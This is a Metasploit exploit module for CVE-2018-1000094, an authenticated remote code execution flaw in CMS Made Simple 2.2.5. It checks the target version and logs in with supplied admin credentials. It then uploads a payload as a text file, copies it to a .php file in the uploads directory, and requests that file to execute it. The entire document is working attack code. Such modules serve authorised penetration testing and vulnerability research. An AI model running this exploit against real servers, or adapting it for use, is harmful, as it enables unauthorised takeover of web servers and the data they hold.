## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy', 'Description' => %q{ CMS Made Simple v2.2.5 allows an authenticated administrator to upload a file and rename it to have a .php extension. The file can then be executed by opening the URL of the file in the /uploads/ directory. }, 'Author' => [ 'Mustafa Hasen', # Vulnerability discovery and EDB PoC 'Jacob Robles' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-1000094' ], [ 'CWE', '434' ], [ 'EDB', '44976' ], [ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ] ], 'Privileged' => false, 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Universal', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 03 2018')) register_options( [ OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']), OptString.new('USERNAME', [ true, "Username to authenticate with", '']), OptString.new('PASSWORD', [ true, "Password to authenticate with", '']) ]) register_advanced_options ([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.body =~ /CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/ return CheckCode::Unknown end version = Gem::Version.new($1) vprint_status("#{peer} - CMS Made Simple Version: #{version}") if version == Gem::Version.new('2.2.5') return CheckCode::Appears end if version < Gem::Version.new('2.2.5') return CheckCode::Detected end CheckCode::Safe end def exploit unless [CheckCode::Detected, CheckCode::Appears].include?(check) unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'), 'method' => 'POST', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'loginsubmit' => 'Submit' } }) unless res fail_with(Failure::NotFound, 'A response was not received from the remote host') end unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/ fail_with(Failure::NoAccess, 'Authentication was unsuccessful') end vprint_good("#{peer} - Authentication successful") csrf_name = $1 csrf_val = $2 csrf = {csrf_name => csrf_val} cookies = res.get_cookies filename = rand_text_alpha(8..12) # Generate form data message = Rex::MIME::Message.new message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"") message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"') message.add_part('1', nil, nil, 'form-data; name="disable_buffer"') message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"") data = message.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{message.bound}", 'cookie' => cookies }) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to upload the text file') end vprint_good("#{peer} - File uploaded #{filename}.txt") fileb64 = Rex::Text.encode_base64("#{filename}.txt") data = { 'mact' => 'FileManager,m1_,fileaction,0', "m1_fileactioncopy" => "", 'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}", 'm1_destdir' => '/', 'm1_destname' => "#{filename}.php", 'm1_path' => '/uploads', 'm1_submit' => 'Copy', csrf_name => csrf_val } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'), 'method' => 'POST', 'cookie' => cookies, 'vars_post' => data }) unless res fail_with(Failure::NotFound, 'A response was not received from the remote host') end unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess') fail_with(Failure::UnexpectedReply, 'Failed to rename the file') end vprint_good("#{peer} - File renamed #{filename}.php") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"), 'method' => 'GET', 'cookie' => cookies }) end end